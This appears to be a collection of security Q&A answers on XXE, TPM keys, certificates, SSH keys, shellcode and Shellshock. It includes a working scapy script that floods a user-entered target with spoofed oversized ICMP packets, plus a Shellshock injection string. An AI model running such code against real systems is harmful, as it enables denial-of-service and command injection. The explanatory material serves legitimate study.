Public XSLT & XML playground (with PHP DOMDocument, etc.) Security Risks?

I'm a PHP 'newbie' if you may call me one. But having analyzed XML and XSLT libraries in the past for security vulnerabilities, and having recently done work on an application that uses quite a bit of XML, here's what I could think of:

If it is possible to pass in a XSL transformation that causes execution of privileged code, you might have to find some means to disable such execution. In the Java world (where I come from), this 'feature' is not a standard, but you can find it implemented in the Xalan-J transformer, where several extensions have been built. If an attacker were to pass a XSL file, that attempted to execute a SQL query (using the SQL extension), or execute code already available on the server (using the Java extension), then Xalan-J would do so, if the conditions were right. I'm not sure if this applies to the transformers used by PHP, but it is worth ensuring that the transformer transforms XML into XML, and not perform anything else (which appears to be your requirement). I would restate this in simpler words as - choose a XML transformer than can be locked down as much as possible, to provide only the necessary function of transforming XML documents.
Files and other URIs (that are not visible to the attacker) can be specified in the XSL, which will be fetched by the transformer and could be included into the resulting XML. This is the external entity expansion (XXE) attack. It would be possible to obtain /etc/passwd, /etc/shadow etc. in this manner, if the files were accessible to underlying process. Disable expansion of entity references, if you can.
Related to XXE, is XDoS which allows for denial-of-service attacks to be mounted, resulting consumption of CPU cycles. The countermeasures include :

limiting the number of entity expansions that can be performed by the parser (which is akin to the secure processing support required by Java API for XML Processing 1.4). A related countermeasure in this area, is to limit the number of attributes that can appear in any element in the document.
disable the use of DTDs; your parser must be configured to reject any document with a DOCTYPE element in it. This is the approach adopted by SOAP implementations.

There is a possibility of reflected XSS (assuming that you are not populating the textarea using JavaScript) as well, for XSL transformations need not generate valid XML, or HTML. The result could simply be any random sequence of characters. The output would therefore have to be suitably escaped to prevent any XSS attack.
Vulnerabilities in the XML parser itself will make other forms of attacks possible. This CERT advisory, is a poster-boy, for it is indicative of the potential problems in XML parsing libraries. Parsers are complex, due to the various requirements imposed on them through various specifications; sometimes this results in edge cases where parsers would be unable to handle certain sequences of characters in a secure manner. Although quite a lot of work has gone into writing secure parsers, the work cannot be considered not complete. The appropriate recommendation in this case is to choose a well implemented and understood XML parsing library, and to patch the parsing library regularly for security fixes.

The above is not necessarily comprehensive, but I would assume that it is a good starting point.


Moving /boot to USB and Preventing booting from other USB devices (Allow boot from only one USB)

I doubt this is possible to set up in the BIOS. However, even if it was, you have a bigger issue: The only way to identify a USB device is by its vendor and device ID. However, all devices by a specific vendor share the same device ID. So even if you could whitelist your own USB, any USB of that same make would also be accepted. Also, I'm pretty sure it's easy to spoof these IDs so even if you didn't have the USB device of the same make, you could spoof it.


I consider this question as too broad for a good but small enough answer.
 Fortunately there is already a website out there which addresses your problem in a very extensive way and which is kept up-to-date about new problems: routersecurity.org. There you will find a security checklist for things you need to watch out for, current bugs in existing routers, and extensive introduction about the topic and lots of links to external resources for even more information. There is no need to replicate all these information here so please have a look there.

Apart from that it helps often to search for your specific router model in connection with the words "vulnerability" or "exploit" or "security". You might also just use the name of the vendor instead of the exact model for this search since some vendors have  bad security record while other have a good one. If you really don't find any information about your router model online it might just be that insignificant that it is probably vulnerable but nobody cared to look (yet).


OpenVPN is a trusted well used open source vpn application as you know. At the end of the day if your third party doesn't want to use it and you have no contractual power to decide the use of OpenVPN I don't see what people on here can do to help. You even link to recent audits yourself.


The EK is unique for each TPM. If we would all be using the EK for TPM operations (remote attestation via TPM_Quote()), anyone could correlate our actions. In other words, anonymity wouldn't be impossible for any TPM operations - a single identity.
Same here. If you're always using the same AIK, you're providing a single identity and thus loosing the possibility to do anonymous operations. This is why it is recommended to use multiple AIK for different purpose. Here, the EK is only used to - behind the scene - to attest the adherence of the TPM to the TGC specifications.
In crypto, it is recommended to use different keys for different purposes. This is normally done using key hierarchy. The top level can be used as the root of trust for a specific task. This way, you have have multiple key signed by the top level and used for different purposes (encryption, signature) but you only have to distribute the top-level public key. In other words, because it's a good practice.


What footprint iOS or Android App leaves? and how to change it

Native apps (unlike websites in a browser) is able to directly access many unique IDs that identify your device/SIM. There's no way to change these unless you root/jailbreak and even so, apps may come up with ingenious ways of fingerprinting still.

If you don't have to use the apps frequently, you can try the device emulators provided by Apple/Google.


OK, absolutely mandatory first comment: DO NOT ROLL YOUR OWN ENCRYPTION PROTOCOL OR WRITE YOUR OWN CRYPTOGRAPHY IMPLEMENTATION. Just don't. Ever. It doesn't matter how great a programmer you are; if you don't have a lot of knowledge and practice with crypto and a group of similarly skilled-and-experienced peer reviewers, you will screw something up. Crypto is extremely difficult to get right, full of edge cases, counter-intuitive requirements, and unexpected side-channels... and if you fail to account for even a single one of them, you'll weaken your scheme, quite possibly to the level of complete compromise.

Edit
OK, I'm not familiar with the scheme described in that paper. Given that, the below stuff - for use with normal DH exchange, not this curious new thing - may not be appropriate. However, The question you asked, "How to Perform Encryption after Diffie Hellman Key Exchange", is answered below... except, of course, that the true answer is "you don't, you use a library that handles that for you."

Ok, with that out of the way... once you've got the symmetric key out of the DH exchange, use it in a symmetric cryptographic cipher! There are lots to choose from, but the most common is probably AES, using either a 128-bit or 256-bit key, in CBC mode, with PKCS7 padding, using a strong randomly-generated IV, and with an HMAC of the ciphertext for integrity. If your shared key is the wrong length for the cipher, you can run it through a function such as SHA-256 to produce a key suitable for 256-bit AES.
You can send the IV and the HMAC in the clear; they are useless to an attacker without the key and the intended recipient needs to know them. The recipient takes the ciphertext, re-computes the HMAC and verifies that it matches, then uses the supplied IV and the shared symmetric key to decrypt the message using the same AES cipher in CBC mode.

I cannot emphasize strongly enough how essential it is that you do NOT attempt to do this as anything but a curiosity. Do not publish this code. Do not incorporate it in anything you might ever publish. Do not build anything else on top of it. Do not trust anything sent via this system. Do not assume it has any meaningful security characteristics. Ideally, don't even stick it in your GitHub or whatever... but if you must, include a comment at the top very clearly disclaiming the suitability of the code to be used for anything whatsoever.
There are steps I've elided over or left overly vague. There's at least a dozen ways you could screw up even just the parts I've told you about, never mind all the other things you have to do. There's a bunch of stuff I suspect you've already done wrong in your key exchange. There are a bunch of things that I'm sure I don't even know are wrong, but that you're doing wrong.
I've been in InfoSec professionally for eight years, with an interest in crypto that goes back four years earlier than that, and at this point when I review homegrown crypto code I can give two meaningful answers: "It's broken" and "It's probably broken". I don't know enough to even tentatively state that something home-grown is not broken, and that will probably be true for the rest of my career unless I decide to devote a decade of my life to this specific area of security. Crypto is hard!

There exist libraries, written by people who know more about crypto than practically anybody else alive today, that will do pretty much any cryptographic task you ask of them. There are protocols, designed by similarly-experienced people and implemented with great expertise in those libraries, that turn cryptographic primitives (like DH key exchange) into a useful cryptosystem. Even so, bugs and weaknesses in those libraries are found all the time... but at least they're fixed quickly. You will NOT do any better yourself.


Are userid and password needed in order to pentest a website?

Yes, it's normal for a pen tester to ask for credentials (but not so much an ISP).

The application as a whole can't really be tested without access to credentials.  Someone without credentials should only be able to interact with one interface - the login screen.  Given test credentials, however, every form, every upload, every data entry point in the application can be tested.  You do want to know if your users can perform SQL insertion or command shell invocation, right?

In fact, pen testers will often ask for multiple accounts, and if the site supports different privilege levels ("admin" versus "user") they'll ask for one of each.  This allows them to test the different levels of application access, and also to test for the ability of one account to do something that will impact another.

Now, if your ISP is doing this, I'd expect a vulnerability scan without credentials; I doubt they're actually spending the money required to do a proper pen test.  I'd probably decline if this is regular, automated testing - that's not a pen test.  But there's probably lots more to know about your situation which might clarify it one way or another.


Remember Code Igniter is a development Framework. It doesn't strive to make your application secure. It merely gives you the tools to do it yourself. If you look at CI's Security page, it pretty clear they are expecting the developer to understand Application Security and build it into their application.

If WebApp security is relatively new for you, I would start with OWASP. It might be advantageous to look at look other frameworks such as Zend or Cake which I believe do more upfront things for the developer.

I've used CI in both 2.x and 3.x. It provides IMO huge flexibility for PHP devs, but if you have only used a Framework which does certain security things for you, I can see why someone would take issue with it.


To trust, or not to trust? Adding exceptions to the Trusted Certificates List in (firefox) Light

The question is, assuming you've decided which CA's (Certificate Authorities) to trust, how do you get their certs.  If you trust "Starfield Services Root Certificate Authority - G2" and you want to know if you should trust the hypothetical ""Starfield Services Root Certificate Authority - G3" (for example), you do have to "get it from the horse's mouth" as you put it.

There are a few options...  Easiest is, if Starfield helpfully "bootstrapped" their own trust for you.  If "Starfield (trusted) CA" signed the "Starfield (new) CA" cert, then you could trust it is authentic.

If not, then you need to get the public key from Starfield in some way that makes you confident it is really theirs, then use that to verify the signature/fingerprint on the new CA cert they've issued.

From a practical standpoint, if you trust some browser to have done the legwork for you, you can grab the trusted CA cert from its truststore.

Ultimately, you choose which CA's to trust in their job of asserting other websites' legitimacy.  You make that choice by your choice of CA certs in your truststore, or you let your chosen browser make that choice for you.  If SuspiciousWebsite(tm) presents you with something signed by LegitimateSoundingCAYouDontHave, that's when you need to decide if you trust that CA or not.  I'd never accept an unknown CA cert offered up to me by some website.  Either get the root cert from some other browser's truststore, or directly from the CA entity itself.

Once you've accepted a CA cert, you trust anything that cert signs.  If you let a badguy's fake CA cert in, that bad guy can trivially spoof your bank or any other site.


Able to access other user information using valid session

Capturing your own traffic would likely show what's going on, however see caution below.

Given your description, it sounds like the site is applying a binary authentication for the site and not a user level authentication. In short, once you are authenticated as a valid user, no other checks apply.

Sadly, this kind of mistake still happens even in places you would think would know better.

I'll caution you on how you may go about reporting this security problem.

  Look, I can get anyone's information by doing this!

May result in them coming after you for hacking

  Hey, my data was wrong when I went back?

A clueless question demonstrating ignorance and confusion over your own information is more likely to be received well and looked into.

It's an unfortunate reality that "Kill the Messenger" is still quite common.

If it's a viable option, I'd simply avoid the site.


How does one take advantage of unencrypted traffic?

You can trust your ISP, but your data will not pass through just your ISP's routers. On a simple level, the internet works by passing data from one router to another, repeatedly moving each packet closer to its destination, until it is hopefully delivered. This means that your connection passes through several routers before finally reaching the site you are connecting to.
Now, as an example, right now, there are 10 routers sitting between me and stackexchange.com. Of these, apparently only the first two or three belong to my ISP. The rest either belong to some internet backbone provider, the server's ISP, or any other upstream ISP that exists between my ISP and the server's ISP. So now, instead of having to trust one ISP, you have to trust at least two ISPs and the internet backbone providers. Now that's a lot of people to trust. If any one of these has a rogue employee with access to install malware on the routers, or any of these routers are misconfigured or using outdated firmware with known vulnerabilities, an attacker can perform a Man in the Middle attack and harvest your credit card details, passwords, PII etc. as well as inject ads and/or malware and perform any other malicious action they can think of.
And that doesn't even take into account state sponsored attackers and mass surveillance. A  state sponsored actor that is interested in getting access to plaintext HTTP traffic doesn't even require a rogue employee or exploitable router vulnerability. They can serve the ISP a subpoena or they can silently tap right into the fiber-optic cables. If the traffic they are targeting doesn't pass through their jurisdiction, they have the resources to perform attacks like BGP hijacking to redirect the traffic through their own jurisdiction.*

*In at least one incident, a non-state sponsored attacker also managed to perform this by hacking an ISP


How to identify a Ping of Death attack by analyzing its packet in Wireshark?

Remember that ping is merely an ICMP echo request. So, applying the 'ICMP' display filter in Wireshark will show only this traffic. An alternative, ICMP > 100 can be used to display only ICMP packets larger than the typical ping packet.

Source

Furthermore, they are Ethernet II frames. Hence, the source MAC address should be from the same MAC address if it is a PoD (Ping of Death). It should be noted that a PoD packet is the maximum size of 65,535 bytes.

Below I have included a Python script which illustrates how this works.

from scapy.all import *
import random

def address_spoofer():

    addr = [192, 168, 0 , 1]
    d = '.'
    addr[0] = str(random.randrange(11,197))
    addr[1] = str(random.randrange(0,255))
    addr[2] = str(random.randrange(0,255))
    addr[3] = str(random.randrange(2,254))
    assemebled = addr[0]+d+addr[1]+d+addr[2]+d+addr[3]
    print assemebled
    return assemebled

target = raw_input("Enter the target to attack: ")

while True:

    rand_addr = address_spoofer()
    ip_hdr = IP(src=rand_addr, dst=target)
    packet = ip_hdr/ICMP()/("m"*60000) #send 60k bytes of junk
    send(packet)

Source

See, DoS 101: The Ping of Death which illustrates this further and shows resource consumption during this type of DoS attack.


As a result of an announcement by Let's Encrypt, the information in this answer is now of historical value only. See the information in Emil Stenström's answer.
The IETF-standardized ACME v2 protocol will be available soon, and Let's Encrypt announced on 14 June, 2017 that they will have a new API endpoint against that standard in Jan. 2018. As reported by Emil in his answer, Let's Encrypt announce today (6 June, 2017) that they will be able to use the new API endpoint to issues the much demanded wildcard certificates. Good catch Emil.

After a, too long, exchange in comments, I've decided to collect, and expand, them into an answer. Hopefully this will help. I'm avoiding any discussion of the OV and EV certs because they have a whole different scenario, and the title of the question clearly asks
Why can't Let's Encrypt support wildcard certificates?
Top of the list of "why" is that the ACME protocol, which is the foundation of LE's validation, does not yet cover wildcard validation. Without that in place LE simply cannot issue such certs, whether they want to or not. However, there has been discussion on the IETF ACME mailing list, so there may yet be hope for inclusion in the protocol at least. Also, the LE FAQ further explains that wildcard certs are not indefinitely ruled out. Though they may reach that status eventually anyway.

Will Let’s Encrypt issue wildcard certificates?
We currently have no plans to do so, but it is a possibility in the future. Hopefully wildcards aren't necessary for the vast majority of our potential subscribers because it should be easy to get and manage certificates for all subdomains.

Automation of the issuance process is a key principle behind Let's Encrypt. So, anything that cannot be automated will not happen through them. That is one point they have repeatedly stressed in postings on their community forum.
Part of the problem with automating issuance for a wildcard it how it's done. The HTTP validation process is that the cert server tells the requesting agent (some program or script) to create an uniquely named file, with some signed content, on the to-be-validated host. Then the cert server tries to access that file, and verify it's contents. If the file can be retrieved and the contents are correct, it proves that the requesting agent has the technical authority to control that host, and is validated for a cert.
If I want to get a cert for www.example.com the file created will be accessed with the URL of like
http://www.example.com/.well-known/acme-challenge/2BHlJs9Qdk_8m6yRNzqEvwiVejyBsa8zXPpORGMIEz4

The file name is part of a signed block, and is unique to that request. A later request will have a new file name, with new contents, so one cannot pre-load the challenge response in an attempt to bypass validation. Anyway, that's all well and good for a known domain name. What happens when we try to get a cert for *.mysub.example.com? The cert server will attempt to access the URL of
http://*.mysub.example.com/.well-known/acme-challenge/2BHlJs9Qdk_8m6yRNzqEVWiVejyBsa8zXPpORGMIEz4

That's not going to work. It won't even be looked up in the DNS system, not as expected anyway. Trying to look that up in DNS gets you an NXDOMAIN error message under normal circumstances, and when it does return something, it's likely not what's intended. The authentication test can't merely back down one level to mysub.example.com because that isn't covered by the cert requested, and may not be under the control of the requesting agent either. I may be able to create an unlimited number of subdomains for a domain, or subdomain, without the ability to add files to the parent itself.
Adding a wildcard record to the DNS actually works backwards to expectations. Such a record will only match when there is no matching domain in the records. If I create a subdomain of mysub.example.com, with the proper DNS records for it, then *.example.com will not match that. And it carries across record types too. So, a CNAME record for mysub.example.com without an MX record to match will still fail to match a request for an MX record using mysub even though there is a wildcard MX record. RFC 1912 can be interesting, and convoluted, reading. {Here be dragons.}
Since a wildcard in the DNS is counter to what the wildcard in the cert means, things get even more interesting for verification. Looking at the possiblity that I could get several domains registered:

david.jones.name
james.jones.name
sarah.jones.name
mary.jones.name
angelica.jones.name

I then try to get a wildcard cert for *.jones.name. As validation they request, say 4 domain names in the .jones.name namespace. I can provide any 4 of the 5 available, and meet that test. Now I have a cert for *.jones.name. What is Jared Jones supposed to do when he gets jared.jones.name and I do a MitM attack using my *.jones.name cert?
Due to all of this, they cannot automate verification that the request for a wildcard cert comes from a source that is responsible for ALL and ANY subdomains that might now, or ever, exist in that namespace. They can verify that someone has control over sub.example.com using automated tools, and as long as sub is replaced with something specific that can be validated as well. Once sub is replaced with * the tools for validation don't work. The only way to verify authority over a wildcard domain namespace is to verify ownership of the parent domain AND identity of the requesting party. If I have ownership of the parent domain example.com then I can freely create and control anything as a subdomain, at any level I choose. Note that here "ownership" is distinct from "control", which is what is validated by the ACME protocol.
Most often, outside of LE, a cert is obtained through the host or registrar, so the "identity" is already confirmed, and the ownership is known. If I register with GoDaddy, and host with DigitalOcean, they both "know" who I am, and have a reasonable level of confidence that I own the domain. Even if they don't issue the cert themselves, they can process the request, and verify to the CA that identity and ownership are valid. This allows the CA to issue a wildcard cert for the level requested, even if it is a level or two left of the domain I own, since the entire tree falls under my ownership.
Just looking in the whois for the domain and knowing what the rules are for that namespace is often sufficient to determine ownership. It's a human-centric process, however, and not automatable with any reasonable effort and level of reliability. To complicate things, namespace rules are, at best, inconsistent. For example, for the .name gTLD some 2nd level names are registrable, whilst others are reserved and the 3rd level names are registrable. This also applies to many ccTLDs. And some gTLDs are always 3rd level registration, .pro is an example, i think. How is an automated process to "know" if *.smyther.name is legal rather than *.david.smyther.name?
smith.name is reserved, and people have to register at the third level, so a *.smith.name would be a bad cert to issue. OTOH smyther.name is not reserved, so a *.smyther.name would be a good cert to issue. You can find out by using the whois system. A program would have to parse the output, which is always subject to change, hence unreliable for automation. I know about the .name gTLD, but I have also run across others that have weird, and changeable, rules make automation, maybe not impossible, but impractical. LE is free so they can't do every bell & whistle just because it's nice.
Again, with regard to LE issuing wildcard certs, it comes down to "automation." They 'could' build in conditionals for one case of this, and for another case of that. But where do they stop "tweeking" the rules? The more branches they build into the decision tree, the more points of failure they introduce. Because it's free and automatic, the wildcard has less value. You can get a cert that covers 100 domain names in a single shot (iirc), so why use a wildcard? Their time and effort is better spent on things with more value for the "greater good" than building exceptions and monitoring changing conditions.
Yes, I know there are use cases where a wildcard cert is indispensable. A mobile app that gets a new, random and unique subdomain on every connection couldn't use LE certs. There are limits on how many certs you can request per week, so they couldn't get a new cert every time a client connects. Technically possible, but not going to happen with LE. There are, however, other options for most of such edge cases. One of which is to buy a wildcard cert elsewhere. In many cases involving mobile apps (or even desktop applications), it's also possible to create an internal CA, and add that to the trust database of the app, then create the new short-lived certs, signed internally, as needed.


Difference between certificate and digital signature

A digital signature is a type of cryptographic code that can be attached to a digital document to prove that it comes from a specific party and hasn't been altered or forged. It works by using asymmetric cryptography, which means there is a key pair consisting of a private key that the signer (the party that protects the document) uses to produce the digital signature, and a public key that the verifiers use to verify the document matches the signature and thus hasn't been adulterated.

A public key certificate is a digital document that includes four elements:

A description of a party called the issuer
A description of a party called the subject
A public key that the issuer certifies belongs to the subject
A digital signature by the issuer that protects the previous items from tampering or forgery

Certificates address one of the practical problems of using digital signatures: verifiers need to have the signer's public key, but how can they know they've got an authentic key instead of a malicious third-party forgery?  The solution certificates implement is to delegate the job of authenticating keys to an issuer that the verifiers already trust.  So the signer presents you not just with their public key (item #3), but with a certificate that includes that key and that you can verify to convince yourself that they really are who they say they are and that the enclosed public key really is theirs.

Note this kicks the problem back because now you have to obtain an authentic copy of the issuer's key, but the idea is that a few issuers can issue thousands of certificates and thus save you the work of verifying lots of individual subjects' keys.

Note that what you read in the internet that signatures "encrypt" a hash is a common misconception.


Exploit development - Will different devices with the same OS/Architecture have the same exact process memory (e.g. addresses) for a given binary?

Heap layout is a fickle thing. Real-life examples from the windows world:

Non-english versions of program load additional internationalization DLL at fixed address in middle of heap.
different allocation patterns between starting program on commandline (as your fuzzer/debugger does) and user opens document with "file"-"open".
Security product loads %$§#-ton of DLLs into all processes that all start threads & allocate stuff on the heap. I guess they prevent exploits by not leaving any free memory for them.
Windows XP brought all new heap allocation strategy with a service pack. Was it SP2?
Browsers have complicated heuristics for when they precompile & jit, how much they jit, when they free jitted code, etc. Those heuristics also look at total availaible system memory. Same goes for garbage collection.

Never assume too much about your heap layout.


1 PIX firewall, 2 routers, 2 switches. Please answer a couple questions about hack lab

Depending on your model of PIX, and what version of the OS is loaded on it, you actually have a lot of options. If you have something with PIXOSv7 or higher (that is a 515 or better with at least 256MB of RAM) you can run your PIX in either routed or transparent mode. So what you could do is:

switch1 -> router -> firewall(transparent) -> switch2

And this would simulate a fairly common corporate network where switch2 would represent the machine room network, the router would be your network core, and switch1 would be an office area.

Similarly, you could rearrange things a little thusly

switch1 -> router -> switch2 -> firewall(transparent)

to represent a network edge where switch1 would be external space, switch2 a DMZ and use the inside interface of the PIX to be the protected network.

If your is 515 or better, and has the add-on interface module (that takes you from 2 to 6 ports) then you can start getting really fancy with things like multiple contexts. That is, up to 3 virtual firewalls in your single device.


The EFF has a page describing how the information is encoded in those yellow dots:
https://www.eff.org/issues/printers

The Python program to decode can be found at:
https://github.com/zackdouglas/docucolor.cgi

They also published a list of printers which do not display those dots:
https://www.eff.org/pages/list-printers-which-do-or-do-not-display-tracking-dots

I'm not aware of cases where law enforcement declared they used them but I suppose it's common knowledge in any forensic lab since the printer manufacturers were most likely pressured to have that function implemented as it does increase the cost of development and production (even marginally).

Edit:

Ok, I just found out the EFF has a page with all their FOIA requests regarding the use of printer dots and other watermarking by law enforcement agencies (~700 pages total in 6 PDF files), they were released in 2008:

https://www.eff.org/foia/foia-printer-dots

Edit: EFF suggests that any color printer from a major manufacturer add some kind of tracking code.


Once a machine is compromised you can't even trust its "firmware update" feature anymore as you can't be sure it really does overwrite the current, malicious firmware. The only way to be sure would be to desolder the memory chips and rewrite them from a trusted computer or flash it via JTAG.

On the other hand, those firmware-reflashing attacks aren't common unless it's a targeted attack, so I would say you have nothing to worry about unless you have actual proof that your router was compromised.


what is the vulnerability if the DCE service on remote port is enumerated?

If there are any vulnerabilities on the services that the DCE portmapper advertises, then the attacker could use these services to exploit the machine.

Also, if there are any accounts with weak passwords setup on those services then you should be concerned.

Nessus will scan the former, assuming those ports are in scope, and the latter will come down to the security of individual accounts on the machine or its domain.

So in itself it isn't a vulnerability, however you should only expose port 135 to trusted networks. It is a bad idea to have this port exposed to the internet because it increases the attack surface, and could leave you vulnerable in the case of future weaknesses found in this service or the ones that it allows enumeration of.


Are downloads from http connections safe?

Yes, there are plenty of security concerns with downloading over unencrypted lines.

But if you must download content over unencrypted http, as is still done for some package repos, you need at least to verify the file you download in some other way.

The most common way is to use a hash, downloaded over a trusted channel (https, usually) or which is signed by someone you trust.

In either case, you must take care to verify that the file you have the hash for is the specific file you wanted, not just any file ever produced by the trusted source.  This is to avoid certain attack, such as where a "man in the middle" replaces the latest version of the application you want, with an older one (but issued with a hash signed by the correct source) known to be vulnerable.


The username is not a secret; any determined attacker will be able to find out the names of users on your system.

What does improve your security, is if there is no remote access for "root", "guest", and similar account names found on many systems. In fact, Ubuntu explicitly disables the "root" account because it is such a favorite target.


Is Open Port 25 on Web Server dangerous?

I think sometimes people are confused with the word open (in a similar context), maybe imagining like having an open door in the house. Or maybe thinking that if something is open, than for hacker it must be easy to get into the system.

Having an open port doesn't necessarily mean that hacker can simply hack-it. If a service which runs behind that open port is somehow vulnerable than that can mean an open way for hacker.

And lastly, if you are not using that port than simply you can close it.


No Preflight Request is made during XHR cross-origin request

A preflight request to check for CORS headers is only done if the request done with XHR could not be achieved without XHR. In your case you are just doing a simple GET request with no special headers which could be done also by including an image with the same URL or similar. Thus the request does not need to be preflighted.

For more details which request are considered "simple" and get not preflighted and which requests are not simple see Preflighted Requests in the documentation to CORS at Mozilla Developer Network.


How to configure SSH public key per user?

SSH actually requires you to configure different keys for different users.

Each user account on the destination machine has its own ~/.ssh/authorized_keys (doesn't necessarily have to have, it might not exist).

Let's assume you have server and client.

server has users set up as follows:

/home/srv_user01
                /.ssh/authorized_keys
                        --> contains public key of cli_user01
                                 and public key of cli_user03
/home/srv_user02
                /.ssh/authorized_keys
                        --> empty or non-existing
/home/srv_user03
                /.ssh/authorized_keys
                        --> contains public key of cli_user03

client has three accounts cli_user01, cli_user02, and cli_user03.

On client machine:

cli_user01 can execute ssh srv_user01@server and login to server as srv_user01
cli_user02 cannot connect to server at all
cli_user03 can execute:

ssh srv_user01@server and login to server as srv_user01, or
ssh srv_user03@server and login to server as srv_user03

no user can connect and login as srv_user02 on server

In the example above I used different names on client and server side, but if account name was the same on client and server, user doesn't have to specify the account name in ssh command, thus making the impression of "logging to server". So if I am logged on as user on client and execute ssh serverーit is the same as ssh user@server.

On server one sshd process listens on port 22 (default) and receives connections from each of the connecting users.


Why RedHat Linux has obtained separate FIPS 140-2 certificates for OpenSSL , NSS, Kernel Crypto API etc?

as all the libraries are providing almost similar functionalities ?

It does not matter if they have similar functionalities because they have
different implementations. The certification not only includes if a specific algorithm is implemented at all but also if it is implemented correctly.


There are legalities of honeypots that need to be considered. Here is a much older article, but does provide some information. In general, from what I've seen, the industry has moved away from honeypots.

For one, their effectiveness hasn't been established on a large enough scale to be of use to companies. Secondly, the legalities have made it difficult to run. For example, Super DMCA kept LaBrea Tarpit from becoming widely adopted.

That doesn't mean honeypots don't have their place, or can't be effective, but their use should be weighed with the problem being solved and the laws in the locale that they are being run.


TL;DR This is a way to execute shellcode which no longer works.
What is a function?
Shellcode is just machine code in places where it is not normally found, such as a variable of type char. In C, there's no distinction between functions and variables. A function is just a variable that points to executable code. This means that, if you create a variable that points to executable code and call it as if it were a function, it will run. To illustrate how it is just a variable, see this simple program:
#include <stdio.h>
#include <stdint.h>

void print_hello(void)
{
    printf("Hello, world!\n");
}

void main(void)
{
    uintptr_t new_print_hello;

    printf("print_hello = %p\n", print_hello);
    new_print_hello = (uintptr_t)print_hello;
    (*(void(*)())new_print_hello)();
    print_hello();
}

When compiled and executed, this program gives output like so:
$ ./a.out
print_hello = 0x28bc4bf6da
Hello, world!
Hello, world!

This makes it easy to see that a function is nothing more than an address in memory, compatible with type uintptr_t. You can see how a function can be referenced simply as a variable, in this case by printing its value, or by copying it to another variable of a compatible type and calling the variable like a function, albeit with a bit of casting magic in order to make the C compiler happy. Once you see how a function is nothing more than a variable pointing to some executable memory, it's not a stretch to see how a variable pointing to some bytecode you manually define can also be executed.
How do functions work?
Now that you know a function is just an address in memory, you need to know how a function is actually executed. Once you call a function, typically with the call instruction, the instruction pointer (which points to the currently executing instruction) changes to point to the first instruction of the function. The location right before the function is called is saved to the stack by call. Once the function is finished, it is terminated with the ret instruction, which pops it from the stack, saving it back to the IP. So a (somewhat simplified) view is that call pushes the IP to the stack, and ret pops it back.
Depending on the architecture and OS you are on, the arguments to the function may be passed in registers or the stack, and the return value may be in different registers, or the stack. This is called the function call ABI, and it is specific to each type of system. Shellcode designed for one type of system may not work on another, even if the architecture is the same and the operating system different, or vise versa.
What does your shellcode do?
Let's look at the disassembly of the shellcode you provided:
0000000000201010 <shellcode>:
   201010:      bb 00 00 00 00          mov    ebx,0x0
   201015:      b8 01 00 00 00          mov    eax,0x1
   20101a:      cd 80                   int    0x80

This does three things. First, it sets the ebx to 0. Second, it sets the eax register to 1. Finally, it triggers interrupt 0x80 which, on 32-bit systems, is the syscall interrupt. In the SysV calling ABI, the syscall number is placed in eax, and up to 6 arguments are passed in ebx, ecx, edx, esi, edi, and ebp. In this case, only ebx is set, meaning the syscall takes only one argument. Once the 0x80 interrupt is called, the kernel takes over and looks at these values, executing the correct system call. The system call numbers are defined in /usr/include/asm/unistd_32.h. Looking at that, we see that syscall 1 is exit(). From that, we can see the three things this shellcode does:

It sets the first argument of the syscall to 0 (which means exit success).
It sets the syscall number to 1, which is the exit call.
It invokes the syscall, causing the program to exit with status 0.

When you look at the big picture, we see that the shellcode is essentially equivalent to exit(0). It does not need ret because it never returns, and instead causes the program to terminate. If you wanted the function to return, you would need to add ret to the end. If you don't, at the very least, use ret, then the program will crash unless it terminates before it reaches the end of the function, as in your example with the exit() syscall.
What's wrong with your shellcode?
The method of calling shellcode you are showing does not work anymore. It used to, but now days Linux does not allow arbitrary data to be executed, necessitating some arcane casting. This older technique is explained well in the famous Smashing The Stack For Fun And Profit article:
   Lets try to modify our first example so that it overwrites the return
address, and demonstrate how we can make it execute arbitrary code.  Just
before buffer1[] on the stack is SFP, and before it, the return address.
That is 4 bytes pass the end of buffer1[].  But remember that buffer1[] is
really 2 word so its 8 bytes long.  So the return address is 12 bytes from
the start of buffer1[].  We'll modify the return value in such a way that the
assignment statement 'x = 1;' after the function call will be jumped.  To do
so we add 8 bytes to the return address.  Our code is now:

example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
   int *ret;

   ret = buffer1 + 12;
   (*ret) += 8;
}

void main() {
  int x;

  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
------------------------------------------------------------------------------

   What we have done is add 12 to buffer1[]'s address.  This new address is
where the return address is stored.  We want to skip pass the assignment to
the printf call.  How did we know to add 8 to the return address?  We used a
test value first (for example 1), compiled the program, and then started gdb

The correct version of your shellcode for newer systems would be:
const char shellcode[] = “\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80”;

int main(){
    int (*ret)() = (int(*)())shellcode;
    ret();
}


How does the Shellshock patch actually prevent the problem?

Bash has a feature whereby it interprets some environment variables as function definitions. For example, with the environment variable HTTP_COOKIE set to () { echo hello; }, bash parses the value of the variable as a function definition, as if the script had started with HTTP_COOKIE () { echo hello; }. The body of the function is not executed, unless the script calls HTTP_COOKIE as a command: it's the function definition that's executed.

The Shellshock vulnerability is due to interpreting the variables as more than function definitions. For example, if HTTP_COOKIE is set to () { echo hello; }; echo pwned, then bash parses and executes the function definition when it starts up, and happily goes on to execute the rest of the content of the variable, so it executes the instruction echo pwned.

With the Shellshock patch, only well-formed function definitions are accepted. A value like () { echo hello; }; echo pwned is rejected because it contains trailing code after the function definition.

The script must be written carefully and not use HTTP_COOKIE (or whatever variables have content that may be chosen by an adversary) as a command name. Only variable names that are used as command names by the script can lead to code injection: variable names that are used as variables or not used in the script are not a problem.

An environment variable defined in a CGI script has no influence whatsoever on a shell started in a terminal. Environment variables affect processes and are inherited by subprocesses, they don't somehow magically jump to other processes that happen to run the same application.


Stealing user cookies with flash/actionscript

Looking at your first link, flash is using javascript to read the cookie. Assuming that's the way you implement it, you are back to the usual cookie security restrictions:

Same domain restrictions - the browser will only send cookies in the same domain, so *.foo.com cookies will only ever be sent to *.foo.com URLs. You would not be able to read a *.facebook.com cookie from foo.com
HttpOnly flag - the cookie will only be sent over http/https connection and is not available to javascript. This would prevent your flash app reading any cookie with this flag.


Any reason not to use secure info that is using personal info but no one else knows in a password?

These elements aren't good enough by themselves, because phone numbers, license plates, names, zip codes etc are known and enumerable and it's easy to add them to a word list of a password guesser. It doesn't matter that your aunt is long dead; her phone number is still just a number, and not a very large one at that.

